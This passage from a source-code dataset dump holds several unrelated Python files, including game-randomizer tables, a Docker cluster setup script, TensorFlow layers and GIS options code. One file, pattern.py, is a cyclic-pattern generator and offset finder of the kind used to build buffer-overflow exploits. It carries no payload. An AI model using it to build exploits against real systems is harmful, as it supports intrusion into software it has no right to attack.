Drop'],\n 'Thieves Town': ['Thieves Lobby'],\n 'Ice Palace': ['Ice Lobby'],\n 'Misery Mire': ['Mire Lobby'],\n 'Turtle Rock': ['TR Main Lobby', 'TR Lazy Eyes', 'TR Big Chest Entrance', 'TR Eye Bridge'],\n 'Ganons Tower': ['GT Lobby']\n}\n\nstandard_starts = {\n 'Hyrule Castle': ['Hyrule Castle South']\n}\n\nsplit_region_starts = {\n 'Desert Palace': {\n 'Back': ['Desert Back Lobby'],\n 'Main': ['Desert Main Lobby', 'Desert West Lobby', 'Desert East Lobby']\n },\n 'Skull Woods': {\n '1': ['Skull 1 Lobby', 'Skull Pot Circle'],\n '2': ['Skull 2 West Lobby', 'Skull 2 East Lobby', 'Skull Back Drop'],\n '3': ['Skull 3 Lobby']\n }\n}\n\nflexible_starts = {\n 'Skull Woods': ['Skull Left Drop', 'Skull Pinball']\n}\n\ndungeon_keys = {\n 'Hyrule Castle': 'Small Key (Escape)',\n 'Eastern Palace': 'Small Key (Eastern Palace)',\n 'Desert Palace': 'Small Key (Desert Palace)',\n 'Tower of Hera': 'Small Key (Tower of Hera)',\n 'Agahnims Tower': 'Small Key (Agahnims Tower)',\n 'Palace of Darkness': 'Small Key (Palace of Darkness)',\n 'Swamp Palace': 'Small Key (Swamp Palace)',\n 'Skull Woods': 'Small Key (Skull Woods)',\n 'Thieves Town': 'Small Key (Thieves Town)',\n 'Ice Palace': 'Small Key (Ice Palace)',\n 'Misery Mire': 'Small Key (Misery Mire)',\n 'Turtle Rock': 'Small Key (Turtle Rock)',\n 'Ganons Tower': 'Small Key (Ganons Tower)'\n}\n\ndungeon_bigs = {\n 'Hyrule Castle': 'Big Key (Escape)',\n 'Eastern Palace': 'Big Key (Eastern Palace)',\n 'Desert Palace': 'Big Key (Desert Palace)',\n 'Tower of Hera': 'Big Key (Tower of Hera)',\n 'Agahnims Tower': 'Big Key (Agahnims Tower)',\n 'Palace of Darkness': 'Big Key (Palace of Darkness)',\n 'Swamp Palace': 'Big Key (Swamp Palace)',\n 'Skull Woods': 'Big Key (Skull Woods)',\n 'Thieves Town': 'Big Key (Thieves Town)',\n 'Ice Palace': 'Big Key (Ice Palace)',\n 'Misery Mire': 'Big Key (Misery Mire)',\n 'Turtle Rock': 'Big Key (Turtle Rock)',\n 'Ganons Tower': 'Big Key (Ganons Tower)'\n}\n\ndungeon_hints = {\n 'Hyrule Castle': 'in Hyrule Castle',\n 'Eastern Palace': 'in Eastern Palace',\n 'Desert Palace': 'in Desert Palace',\n 'Tower of Hera': 'in Tower of Hera',\n 'Agahnims Tower': 'in Castle Tower',\n 'Palace of Darkness': 'in Palace of Darkness',\n 'Swamp Palace': 'in Swamp Palace',\n 'Skull Woods': 'in Skull Woods',\n 'Thieves Town': 'in Thieves\\' Town',\n 'Ice Palace': 'in Ice Palace',\n 'Misery Mire': 'in Misery Mire',\n 'Turtle Rock': 'in Turtle Rock',\n 'Ganons Tower': 'in Ganon\\'s Tower'\n}\n\n", "source": "StructuralMike/ALttPDoorRandomizer", "license": "MIT"} {"text": "#!/usr/bin/env python3\n#usage\n#$> pattern.py 100\n#Aa0Aa0Aa1Aa1Aa2Aa2Aa3Aa3Aa4Aa4Aa5Aa5Aa6Aa6Aa7Aa7Aa8Aa8Aa9Aa9Ab0Ab0Ab1Ab1Ab2Ab\n#2Ab3Ab3Ab4Ab4Ab5Ab5Ab6A\n#And to search for a pattern / offset:\n#$> pattern.py Bf4\n#Pattern Bf4 first occurrence at position 942 in pattern.\n#$> pattern.py Bf4B\n#Pattern Bf4B first occurrence at position 942 in pattern.\n#$> pattern.py 0x42346642\n#Pattern 0x42346642 first occurrence at position 942 in pattern.\n\nimport sys\nfrom string import ascii_uppercase, ascii_lowercase, digits\n\nMAX_PATTERN_LENGTH = 20280\n\nclass MaxLengthException(Exception):\n pass\n\nclass WasNotFoundException(Exception):\n pass\n\n\ndef pattern_gen(length):\n \"\"\"\n Generate a pattern of a given length up to a maximum\n of 20280 - after this the pattern would repeat\n \"\"\"\n if length >= MAX_PATTERN_LENGTH:\n raise MaxLengthException('ERROR: Pattern length exceeds maximum of %d' % MAX_PATTERN_LENGTH)\n\n pattern = ''\n for upper in ascii_uppercase:\n for lower in ascii_lowercase:\n for digit in digits:\n if len(pattern) < length:\n pattern += upper+lower+digit\n else:\n out = pattern[:length]\n return out\n\n\ndef pattern_search(search_pattern):\n \"\"\"\n Search for search_pattern in pattern. Convert from hex if needed\n Looking for needle in haystack\n \"\"\"\n needle = search_pattern\n\n try:\n if needle.startswith('0x'):\n # Strip off '0x', convert to ASCII and reverse\n needle = needle[2:]\n needle = bytes.fromhex(needle).decode('ascii')\n needle = needle[::-1]\n except TypeError as e:\n print('Unable to convert hex input:', e)\n sys.exit(1)\n #e.args(e.args[0] + 'Unable to convert to hex input') \n #raise\n\n haystack = ''\n for upper in ascii_uppercase:\n for lower in ascii_lowercase:\n for digit in digits:\n haystack += upper+lower+digit\n found_at = haystack.find(needle)\n if found_at > -1:\n return found_at\n\n raise WasNotFoundException('Couldn`t find %s (%s) anywhere in the pattern.' %\n (search_pattern, needle))\n\n\ndef print_help():\n print('Usage: %s LENGTH|PATTERN' % sys.argv[0])\n print()\n print('Generate a pattern of length LENGTH or search for PATTERN and ')\n print('return its position in the pattern.')\n print()\n sys.exit(0)\n\n\nif __name__ == '__main__':\n if len(sys.argv) < 2:\n print_help()\n\n if sys.argv[1].isdigit():\n pat = pattern_gen(int(sys.argv[1]))\n print(pat)\n else:\n found = pattern_search(sys.argv[1])\n print('Pattern %s first occurrence at position %d in pattern.' %\n (sys.argv[1], found))\n", "source": "cys3c/viper-shell", "license": "PSF-2.0"} {"text": "\"\"\"Brings up a set of Global Registry nodes along with databases.\nThey can create separate clusters.\n\"\"\"\n\nimport copy\nimport json\n\nimport common\nimport docker\n\n\ndef _tweak_config(config, name, uid):\n cfg = copy.deepcopy(config)\n cfg['nodes'] = {'node': cfg['nodes'][name]}\n\n sys_config = cfg['nodes']['node']['sys.config']\n sys_config['db_nodes'] = [common.format_nodename(n, uid) for n in\n sys_config['db_nodes']]\n\n vm_args = cfg['nodes']['node']['vm.args']\n vm_args['name'] = common.format_nodename(vm_args['name'], uid)\n\n return cfg\n\n\ndef _node_up(image, bindir, uid, config, dns_servers):\n node_name = config['nodes']['node']['vm.args']['name']\n cookie = config['nodes']['node']['vm.args']['setcookie']\n db_nodes = config['nodes']['node']['sys.config']['db_nodes']\n\n (gr_name, sep, gr_hostname) = node_name.partition('@')\n gr_dockername = common.format_dockername(gr_name, uid)\n\n gr_command = '''set -e\ncat <<\"EOF\" > /tmp/gen_dev_args.json\n{gen_dev_args}\nEOF\nescript bamboos/gen_dev/gen_dev.escript /tmp/gen_dev_args.json\n/root/bin/node/bin/globalregistry console'''\n gr_command = gr_command.format(\n gen_dev_args=json.dumps({'globalregistry': config}))\n\n # Start DB node for current GR instance.\n # Currently, only one DB node for GR is allowed, because we are using links.\n # It's impossible to create a bigcouch cluster with docker's links.\n db_node = db_nodes[0]\n (db_name, sep, db_hostname) = db_node.partition('@')\n db_dockername = common.format_dockername(db_name, uid)\n\n db_command = '''echo '[httpd]' > /opt/bigcouch/etc/local.ini\necho 'bind_address = 0.0.0.0' >> /opt/bigcouch/etc/local.ini\nsed -i 's/-name bigcouch/-name {name}@{host}/g' /opt/bigcouch/etc/vm.args\nsed -i 's/-setcookie monster/-setcookie {cookie}/g' /opt/bigcouch/etc/vm.args\n/opt/bigcouch/bin/bigcouch'''\n db_command = db_command.format(name=db_name, host=db_hostname,\n cookie=cookie)\n\n bigcouch = docker.run(\n image='onedata/bigcouch',\n detach=True,\n name=db_dockername,\n hostname=db_hostname,\n command=db_command)\n\n gr = docker.run(\n image=image,\n hostname=gr_hostname,\n detach=True,\n interactive=True,\n tty=True,\n workdir='/root/build',\n name=gr_dockername,\n volumes=[(bindir, '/root/build', 'ro')],\n dns_list=dns_servers,\n link={db_dockername: db_hostname},\n command=gr_command)\n\n return {\n 'docker_ids': [bigcouch, gr],\n 'gr_db_nodes': ['{0}@{1}'.format(db_name, db_hostname)],\n 'gr_nodes': ['{0}@{1}'.format(gr_name, gr_hostname)]\n }\n\n\ndef up(image, bindir, dns, uid, config_path):\n config = common.parse_json_file(config_path)['globalregistry']\n config['config']['target_dir'] = '/root/bin'\n configs = [_tweak_config(config, node, uid) for node in config['nodes']]\n\n dns_servers, output = common.set_up_dns(dns, uid)\n\n for cfg in configs:\n node_out = _node_up(image, bindir, uid, cfg, dns_servers)\n common.merge(output, node_out)\n\n return output\n", "source": "xorver/oneprovider-ccm", "license": "MIT"} {"text": "# -*- coding:utf-8 -*-\n\"\"\"\n\nAuthor:\n Weichen Shen,weichenswc@163.com\n\n\"\"\"\nimport tensorflow as tf\nfrom tensorflow.python.keras.layers import Flatten\nfrom tensorflow.python.ops.lookup_ops import TextFileInitializer\n\ntry:\n from tensorflow.python.ops.lookup_ops import StaticHashTable\nexcept ImportError:\n from tensorflow.python.ops.lookup_ops import HashTable as StaticHashTable\n\n\nclass NoMask(tf.keras.layers.Layer):\n def __init__(self, **kwargs):\n super(NoMask, self).__init__(**kwargs)\n\n def build(self, input_shape):\n # Be sure to call this somewhere!\n super(NoMask, self).build(input_shape)\n\n def call(self, x, mask=None, **kwargs):\n return x\n\n def compute_mask(self, inputs, mask):\n return None\n\n\nclass Hash(tf.keras.layers.Layer):\n \"\"\"Looks up keys in a table when setup `vocabulary_path`, which outputs the corresponding values.\n If `vocabulary_path` is not set, `Hash` will hash the input to [0,num_buckets). When `mask_zero` = True,\n input value `0` or `0.0` will be set to `0`, and other value will be set in range [1,num_buckets).\n\n The following snippet initializes a `Hash` with `vocabulary_path` file with the first column as keys and\n second column as values:\n\n * `1,emerson`\n * `2,lake`\n * `3,palmer`\n\n >>> hash = Hash(\n ... num_buckets=3+1,\n ... vocabulary_path=filename,\n ... default_value=0)\n >>> hash(tf.constant('lake')).numpy()\n 2\n >>> hash(tf.constant('lakeemerson')).numpy()\n 0\n\n Args:\n num_buckets: An `int` that is >= 1. The number of buckets or the vocabulary size + 1\n when `vocabulary_path` is setup.\n mask_zero: default is False. The `Hash` value will hash input `0` or `0.0` to value `0` when\n the `mask_zero` is `True`. `mask_zero` is not used when `vocabulary_path` is setup.\n vocabulary_path: default `None`. The `CSV` text file path of the vocabulary hash, which contains\n two columns seperated by delimiter `comma`, the first column is the value and the second is\n the key. The key data type is `string`, the value data type is `int`. The path must\n be accessible from wherever `Hash` is initialized.\n default_value: default '0'. The default value if a key is missing in the table.\n **kwargs: Additional keyword arguments.\n \"\"\"\n\n def __init__(self, num_buckets, mask_zero=False, vocabulary_path=None, default_value=0, **kwargs):\n self.num_buckets = num_buckets\n self.mask_zero = mask_zero\n self.vocabulary_path = vocabulary_path\n self.default_value = default_value\n if self.vocabulary_path:\n initializer = TextFileInitializer(vocabulary_path, 'string', 1, 'int64', 0, delimiter=',')\n self.hash_table = StaticHashTable(initializer, default_value=self.default_value)\n super(Hash, self).__init__(**kwargs)\n\n def build(self, input_shape):\n # Be sure to call this somewhere!\n super(Hash, self).build(input_shape)\n\n def call(self, x, mask=None, **kwargs):\n\n if x.dtype != tf.string:\n zero = tf.as_string(tf.zeros([1], dtype=x.dtype))\n x = tf.as_string(x, )\n else:\n zero = tf.as_string(tf.zeros([1], dtype='int32'))\n\n if self.vocabulary_path:\n hash_x = self.hash_table.lookup(x)\n return hash_x\n\n num_buckets = self.num_buckets if not self.mask_zero else self.num_buckets - 1\n try:\n hash_x = tf.string_to_hash_bucket_fast(x, num_buckets,\n name=None) # weak hash\n except AttributeError:\n hash_x = tf.strings.to_hash_bucket_fast(x, num_buckets,\n name=None) # weak hash\n if self.mask_zero:\n mask = tf.cast(tf.not_equal(x, zero), dtype='int64')\n hash_x = (hash_x + 1) * mask\n\n return hash_x\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n def get_config(self, ):\n config = {'num_buckets': self.num_buckets, 'mask_zero': self.mask_zero, 'vocabulary_path': self.vocabulary_path,\n 'default_value': self.default_value}\n base_config = super(Hash, self).get_config()\n return dict(list(base_config.items()) + list(config.items()))\n\n\nclass Linear(tf.keras.layers.Layer):\n\n def __init__(self, l2_reg=0.0, mode=0, use_bias=False, seed=1024, **kwargs):\n\n self.l2_reg = l2_reg\n # self.l2_reg = tf.contrib.layers.l2_regularizer(float(l2_reg_linear))\n if mode not in [0, 1, 2]:\n raise ValueError(\"mode must be 0,1 or 2\")\n self.mode = mode\n self.use_bias = use_bias\n self.seed = seed\n super(Linear, self).__init__(**kwargs)\n\n def build(self, input_shape):\n if self.use_bias:\n self.bias = self.add_weight(name='linear_bias',\n shape=(1,),\n initializer=tf.keras.initializers.Zeros(),\n trainable=True)\n if self.mode == 1:\n self.kernel = self.add_weight(\n 'linear_kernel',\n shape=[int(input_shape[-1]), 1],\n initializer=tf.keras.initializers.glorot_normal(self.seed),\n regularizer=tf.keras.regularizers.l2(self.l2_reg),\n trainable=True)\n elif self.mode == 2:\n self.kernel = self.add_weight(\n 'linear_kernel',\n shape=[int(input_shape[1][-1]), 1],\n initializer=tf.keras.initializers.glorot_normal(self.seed),\n regularizer=tf.keras.regularizers.l2(self.l2_reg),\n trainable=True)\n\n super(Linear, self).build(input_shape) # Be sure to call this somewhere!\n\n def call(self, inputs, **kwargs):\n if self.mode == 0:\n sparse_input = inputs\n linear_logit = reduce_sum(sparse_input, axis=-1, keep_dims=True)\n elif self.mode == 1:\n dense_input = inputs\n fc = tf.tensordot(dense_input, self.kernel, axes=(-1, 0))\n linear_logit = fc\n else:\n sparse_input, dense_input = inputs\n fc = tf.tensordot(dense_input, self.kernel, axes=(-1, 0))\n linear_logit = reduce_sum(sparse_input, axis=-1, keep_dims=False) + fc\n if self.use_bias:\n linear_logit += self.bias\n\n return linear_logit\n\n def compute_output_shape(self, input_shape):\n return (None, 1)\n\n def compute_mask(self, inputs, mask):\n return None\n\n def get_config(self, ):\n config = {'mode': self.mode, 'l2_reg': self.l2_reg, 'use_bias': self.use_bias, 'seed': self.seed}\n base_config = super(Linear, self).get_config()\n return dict(list(base_config.items()) + list(config.items()))\n\n\ndef concat_func(inputs, axis=-1, mask=False):\n if not mask:\n inputs = list(map(NoMask(), inputs))\n if len(inputs) == 1:\n return inputs[0]\n else:\n return tf.keras.layers.Concatenate(axis=axis)(inputs)\n\n\ndef reduce_mean(input_tensor,\n axis=None,\n keep_dims=False,\n name=None,\n reduction_indices=None):\n try:\n return tf.reduce_mean(input_tensor,\n axis=axis,\n keep_dims=keep_dims,\n name=name,\n reduction_indices=reduction_indices)\n except TypeError:\n return tf.reduce_mean(input_tensor,\n axis=axis,\n keepdims=keep_dims,\n name=name)\n\n\ndef reduce_sum(input_tensor,\n axis=None,\n keep_dims=False,\n name=None,\n reduction_indices=None):\n try:\n return tf.reduce_sum(input_tensor,\n axis=axis,\n keep_dims=keep_dims,\n name=name,\n reduction_indices=reduction_indices)\n except TypeError:\n return tf.reduce_sum(input_tensor,\n axis=axis,\n keepdims=keep_dims,\n name=name)\n\n\ndef reduce_max(input_tensor,\n axis=None,\n keep_dims=False,\n name=None,\n reduction_indices=None):\n try:\n return tf.reduce_max(input_tensor,\n axis=axis,\n keep_dims=keep_dims,\n name=name,\n reduction_indices=reduction_indices)\n except TypeError:\n return tf.reduce_max(input_tensor,\n axis=axis,\n keepdims=keep_dims,\n name=name)\n\n\ndef div(x, y, name=None):\n try:\n return tf.div(x, y, name=name)\n except AttributeError:\n return tf.divide(x, y, name=name)\n\n\ndef softmax(logits, dim=-1, name=None):\n try:\n return tf.nn.softmax(logits, dim=dim, name=name)\n except TypeError:\n return tf.nn.softmax(logits, axis=dim, name=name)\n\n\nclass Add(tf.keras.layers.Layer):\n def __init__(self, **kwargs):\n super(Add, self).__init__(**kwargs)\n\n def build(self, input_shape):\n # Be sure to call this somewhere!\n super(Add, self).build(input_shape)\n\n def call(self, inputs, **kwargs):\n if not isinstance(inputs, list):\n return inputs\n if len(inputs) == 1:\n return inputs[0]\n if len(inputs) == 0:\n return tf.constant([[0.0]])\n\n return tf.keras.layers.add(inputs)\n\n\ndef add_func(inputs):\n return Add()(inputs)\n\n\ndef combined_dnn_input(sparse_embedding_list, dense_value_list):\n if len(sparse_embedding_list) > 0 and len(dense_value_list) > 0:\n sparse_dnn_input = Flatten()(concat_func(sparse_embedding_list))\n dense_dnn_input = Flatten()(concat_func(dense_value_list))\n return concat_func([sparse_dnn_input, dense_dnn_input])\n elif len(sparse_embedding_list) > 0:\n return Flatten()(concat_func(sparse_embedding_list))\n elif len(dense_value_list) > 0:\n return Flatten()(concat_func(dense_value_list))\n else:\n raise NotImplementedError(\"dnn_feature_columns can not be empty list\")\n", "source": "dzzxjl/DeepCTR", "license": "Apache-2.0"} {"text": "# ===============================================================================\n# Copyright 2020 ross\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ===============================================================================\nimport csv\nimport os\n\nfrom traits.api import Str, Enum, Dict, File, Float, Range, List, HasTraits, Button, Int, Color, Bool, on_trait_change\nfrom traitsui.api import HGroup, Item, View, UItem\nfrom traitsui.editors import EnumEditor\nfrom traitsui.item import spring\n\nfrom pychron.base_fs import BaseFS\nfrom pychron.core.pychron_traits import BorderVGroup, BorderHGroup\nfrom pychron.gis.views import VIEWS\nfrom pychron.options.group.base_group_options import BaseGroupOptions\nfrom pychron.options.options import BaseOptions, GroupMixin\nfrom pychron.options.options_manager import OptionsManager\nfrom pychron.pychron_constants import MAIN\n\n\ndef make_uri(url, t='xyz', zmax=19, zmin=5):\n return 'type={}&url={}&zmax={}&zmin={}'.format(t, url, zmax, zmin)\n\n\nMARKERS = 'Square', 'Circle', 'Pentagon', 'Triangle', 'Star'\n\nPREDEFINED = {\"OpenStreetMap\": make_uri('https://tile.openstreetmap.org/{z}/{x}/{y}.png'),\n 'OpenTopoMap': make_uri('http://a.tile.opentopomap.org/{z}/{x}/{y}.png'),\n 'Stamen Terrain': make_uri('http://a.tile.stamen.com/terrain/{z}/{x}/{y}.png'),\n 'Stamen Toner': make_uri('http://a.tile.stamen.com/toner/{z}/{x}/{y}.png'),\n 'USGS Satellite': make_uri('https://basemap.nationalmap.gov/arcgis/rest/services/'\n 'USGSImageryOnly/MapServer/tile/{Z}/{Y}/{X}'),\n 'Hillshade': make_uri('http://tiles.wmflabs.org/hillshading/{z}/{x}/{y}.png')\n }\n\n\ndef extract_url(uri):\n args = uri.split('&')\n for a in args:\n if a.startswith('url='):\n return a[4:]\n\n\nclass GISGroup(BaseGroupOptions):\n marker = Enum(MARKERS)\n marker_size = Float\n angle = Range(0, 360, 0)\n opacity = Range(0.0, 1.0, 1.0)\n\n def todict(self):\n return {'name': self.marker.lower(),\n 'size': str(self.marker_size),\n 'color': self.color.name(),\n 'angle': str(self.angle),\n 'opacity': str(self.opacity)}\n\n def traits_view(self):\n g = BorderVGroup(HGroup(Item('marker'),\n UItem('marker_size'), Item('angle')),\n HGroup(UItem('color'), Item('opacity')),\n label='Group {}'.format(self.group_id + 1))\n v = View(g)\n return v\n\n\nclass LayerOption(HasTraits):\n path = File\n label = Str\n is_vector = False\n visible = Bool(True)\n remove_layer_button = Button('Remove Layer')\n\n @property\n def uri(self):\n raise NotImplementedError\n\n\nclass VectorLayerOption(LayerOption):\n is_vector = True\n size = Int\n kind = Enum(MARKERS)\n color = Color\n\n @property\n def symbolargs(self):\n return {'name': self.kind.lower(), 'size': str(self.size), 'color': self.color.name()}\n\n\nclass CSVLayerOption(VectorLayerOption):\n provider = 'delimitedtext'\n xfield = Str\n yfield = Str\n _fields = List\n\n def __init__(self, *args, **kw):\n super(CSVLayerOption, self).__init__(*args, **kw)\n self._parse()\n\n @property\n def uri(self):\n return 'file://{}?delimiter={}&xField={}&yField={}'.format(self.path,\n self.delimiter,\n self.xfield, self.yfield)\n\n def _parse(self):\n self.label = os.path.basename(self.path)\n with open(self.path, 'r') as rfile:\n dialect = csv.Sniffer().sniff(rfile.read(1024))\n rfile.seek(0)\n reader = csv.DictReader(rfile, dialect=dialect)\n self._fields = reader.fieldnames\n self.delimiter = dialect.delimiter\n\n def traits_view(self):\n v = View(BorderVGroup(Item('path'),\n HGroup(Item('xfield', editor=EnumEditor(name='_fields')),\n Item('yfield', editor=EnumEditor(name='_fields'))),\n BorderHGroup(Item('kind'), Item('size'), UItem('color'), label='symbol'),\n HGroup(UItem('remove_layer_button'), spring)))\n return v\n\n\nclass OGRLayerOption(VectorLayerOption):\n provider = 'ogr'\n\n def __init__(self, *args, **kw):\n super(OGRLayerOption, self).__init__(*args, **kw)\n if self.path:\n self.label = os.path.basename(self.path)\n\n @property\n def uri(self):\n return self.path\n\n def traits_view(self):\n v = View(BorderVGroup(Item('path'),\n BorderHGroup(Item('kind'), Item('size'), UItem('color'), label='symbol'),\n HGroup(UItem('remove_layer_button'), spring)))\n return v\n\n\nclass GPXLayerOption(VectorLayerOption):\n provider = 'gpx'\n kind = Str\n\n @property\n def uri(self):\n return '{}?type={}'.format(self.path, self.kind)\n\n\nclass GISOptions(BaseOptions, GroupMixin, BaseFS):\n basemap_uri = Str('type=xyz&url=https://tile.openstreetmap.org/{z}/{x}/{y}.png&zmax=19&zmin=5')\n basemap_uri_template = Enum(list(PREDEFINED.keys()), transient=True)\n basemap_path = File\n\n layers = List\n # symbol_size = Int(5)\n # symbol_color = Color('blue')\n # symbol_kind = Enum('circle', 'square')\n group_options_klass = GISGroup\n grouping_attribute = Enum('Material',\n 'Sample',\n 'Comment',\n 'SubGroup',\n 'Group Name',\n 'Label Name',\n 'No Grouping')\n\n _predefined = Dict(transient=True)\n\n _suppress_template_update = False\n\n add_layer_button = Button('Add Layer', transient=True)\n\n def _get_tags(self):\n return ('layers',)\n\n def _add_layer_button_fired(self):\n p = self.open_file_dialog()\n if p:\n if p.endswith('.csv') or p.endswith('.txt'):\n # layer = CSVLayerOption(path=p)\n klass = CSVLayerOption\n elif p.endswith('.shp'):\n klass = OGRLayerOption\n # layer = OGRLayerOption(path=p)\n else:\n klass = LayerOption\n # layer = LayerOption(path=p)\n layer = klass(path=p)\n self.layers.append(layer)\n\n @on_trait_change('layers:remove_layer_button')\n def _handle_remove_layer(self, layer, name, old, new):\n self.layers.remove(layer)\n\n def get_feature_options(self, gid):\n n = len(self.groups)\n gid = gid % n\n fg = self.groups[gid]\n return fg.todict()\n\n def _basemap_uri_changed(self, new):\n n = extract_url(new)\n for k, v in PREDEFINED.items():\n if n == extract_url(v):\n self._suppress_template_update = True\n self.basemap_uri_template = k\n self._suppress_template_update = False\n\n def _basemap_path_changed(self, new):\n self.basemap_uri = new\n\n def _basemap_uri_template_changed(self, new):\n if self._suppress_template_update:\n return\n\n self.basemap_uri = PREDEFINED.get(new, '')\n\n def initialize(self):\n self.subview_names = [MAIN, 'Groups', 'Layers']\n\n def _get_subview(self, name):\n return VIEWS[name]\n\n\nclass GISOptionsManager(OptionsManager):\n id = 'gis'\n options_klass = GISOptions\n\n# ============= EOF =============================================\n", "source": "ael-noblegas/pychron", "license": "Apache-2.0"} {"text": "from typing import NoReturn\n\nclass Clock: # Beinhaltet Uhrzeit (h:min)\n _stringv: str\n _h: int\n _m: int\n\n def __init__(self,\n timestring: str = \"00:00\",\n ) -> NoReturn:\n self._stringv = timestring\n self._h = int(self._stringv[0:2])\n self._m = int(self._stringv[3:6])\n\n def __sub__(self, other: 'Clock') -> 'Clock':\n h: int = self._h - other._h\n m: int = self._m - other._m\n ret: Clock = Clock()\n ret._m = m\n ret._h = h\n ret.__fix_negative_minutes()\n ret.__set_time_to_zero_if_negative()\n ret.__stringv_reconstruct()\n return ret\n\n def __fix_negative_minutes(self) -> NoReturn:\n if self._m < 0:\n self._m += 60\n self._h -= 1\n\n def __set_time_to_zero_if_negative(self) -> NoReturn:\n if self._h < 0:\n self._h = 0\n self._m = 0\n\n def __stringv_reconstruct(self) -> NoReturn:\n if self._h < 10:\n self._stringv = \"0\"\n self._stringv += str(self._h)\n else:\n self._stringv = str(self._h)\n self._stringv += \":\"\n if self._m < 10:\n self._stringv += \"0\"\n self._stringv += str(self._m)\n else:\n self._stringv += str(self._m)\n\n @property\n def hash(self) -> int:\n return self.__hash__()\n\n def __hash__(self) -> int:\n return self._h * 60 + self._m\n\n def pprint(self) -> str:\n return self._stringv\n", "source": "kfkonrad/py-stundenplan", "license": "MIT"} {"text": "from turterra import app_callbacks, app_layout\nfrom turterra.utils.compound_utility import Compound\n\n__all__ = [\"app_callbacks\", \"app_layout\", \"Compound\"]\n", "source": "BTheDragonMaster/turterra", "license": "MIT"} {"text": "import sys\n\nfile = open(\"matrix.txt\", \"r\")\nmats = []\n\nline = file.readline()\nwhile line != \"\":\n mats.append([int(x) for x in line.rstrip().split(',')])\n line = file.readline()\n\nh = len(mats)\nw = len(mats[0])\n\nalst = {}\nalst[(-1,-1)] = {}\nalst[(h,w)] = {}\n\nfor i in range(0, h):\n for j in range(0, w):\n cons = {}\n if i > 0:\n cons[(i-1,j)] = mats[i-1][j]\n if i < h-1:\n cons[(i+1,j)] = mats[i+1][j]\n if j < w-1:\n cons[(i,j+1)] = mats[i][j+1]\n alst[(i,j)] = cons\n\n alst[(-1,-1)][(i,0)] = mats[i][0]\n alst[(i,w-1)][(h,w)] = 0 \n\ndist = {}\ndist[(-1,-1)] = 0\ndist[(h,w)] = sys.maxsize\nfor i in range(0, h):\n for j in range(0, w):\n dist[(i,j)] = sys.maxsize\n\ntoVisit = list(dist.keys())\nwhile len(toVisit) > 0:\n toCheck = {k:dist[k] for k in toVisit}\n key = min(toCheck, key=toCheck.get)\n val = dist[key]\n for t in alst[key]:\n dist[t] = min(dist[t], val + alst[key][t])\n toVisit.remove(key)\n\nprint(dist[(h,w)])\n", "source": "dkaisers/Project-Euler", "license": "Unlicense"} {"text": "# -*- coding: utf-8 -*-\n# -*- coding: utf-8 -*-\n#\n# This file is part of S4D.\n#\n# SD4 is a python package for speaker diarization based on SIDEKIT.\n# S4D home page: http://www-lium.univ-lemans.fr/s4d/\n# SIDEKIT home page: http://www-lium.univ-lemans.fr/sidekit/\n#\n# S4D is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Lesser General Public License as\n# published by the Free Software Foundation, either version 3 of the License,\n# or (at your option) any later version.\n#\n# S4D is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Lesser General Public License for more details.\n#\n# You should have received a copy of the GNU Lesser General Public License\n# along with SIDEKIT. If not, see .\n\n__author__ = 'meignier'\n\nimport sys\nimport os\nfrom sidekit.features_extractor import FeaturesExtractor\nfrom sidekit.features_server import FeaturesServer\nimport logging\nimport re\nimport numpy\n\ndef str2str_normalize(name):\n \"\"\"\n removes accents and replace '_' by '_' the the string speaker\n :param name: the string to nomalize\n :return:\n \"\"\"\n name = name.translate(str.maketrans('\u00c0\u00c1\u00c2\u00c3\u00c4\u00c5\u00e0\u00e1\u00e2\u00e3\u00e4\u00e5\u00d2\u00d3\u00d4\u00d5\u00d6\u00d8\u00f2\u00f3\u00f4\u00f5\u00f6\u00f8\u00c8\u00c9\u00ca\u00cb\u00e8\u00e9\u00ea\u00eb\u00c7\u00e7\u00cc\u00cd\u00ce\u00cf\u00ec\u00ed\u00ee\u00ef\u00d9\u00da\u00db\u00dc\u00f9\u00fa\u00fb\u00fc\u00ff\u00d1\u00f1','AAAAAAaaaaaaOOOOOOooooooEEEEeeeeCcIIIIiiiiUUUUuuuuyNn')).lower()\n name = name.translate(str.maketrans(\"'\",'_'))\n\n name = name.translate(str.maketrans('-','_'))\n return re.sub('_+','_',name)\n\n\ndef path_show_ext(fullpath, shortext=False):\n \"\"\"\n splits a full file path into path, basename and extension\n :param fullpath: str\n :return: the path, the basename and the extension\n \"\"\"\n tmp = os.path.splitext(fullpath)\n ext = tmp[1]\n p = tmp[0]\n if shortext == False:\n while tmp[1] != '':\n tmp = os.path.splitext(p)\n ext = tmp[1] + ext\n p = tmp[0]\n\n path = os.path.dirname(p)\n if path == '':\n path = '.'\n base = os.path.basename(p)\n return path, base, ext\n\ndef levenshtein_distance(s1, s2):\n if len(s1) > len(s2):\n s1, s2 = s2, s1\n distances = range(len(s1) + 1)\n for index2, char2 in enumerate(s2):\n new_distances = [index2 + 1]\n for index1, char1 in enumerate(s1):\n if char1 == char2:\n new_distances.append(distances[index1])\n else:\n new_distances.append(1 + min((distances[index1],\n distances[index1 + 1],\n new_distances[-1])))\n distances = new_distances\n return distances[-1]\n\n\ndef hms(s):\n \"\"\"\n conversion of seconds into hours, minutes and secondes\n :param s:\n :return: int, int, float\n \"\"\"\n h = int(s) // 3600\n s %= 3600\n m = int(s) // 60\n s %= 60\n return '{:d}:{:d}:{:.2f}'.format(h, m, s)\n\n\ndef get_feature_extractor(audio_filename_structure, type_feature_extractor):\n if type_feature_extractor == 'sid':\n fe = FeaturesExtractor(audio_filename_structure=audio_filename_structure,\n feature_filename_structure=None,\n sampling_frequency=16000,\n lower_frequency=133.3333,\n higher_frequency=6855.4976,\n filter_bank=\"log\",\n filter_bank_size=40,\n window_size=0.025,\n shift=0.01,\n ceps_number=13,\n pre_emphasis=0.97,\n keep_all_features=True,\n vad='percentil',\n #vad=None,\n save_param=[\"energy\", \"cep\", \"vad\"]\n )\n elif 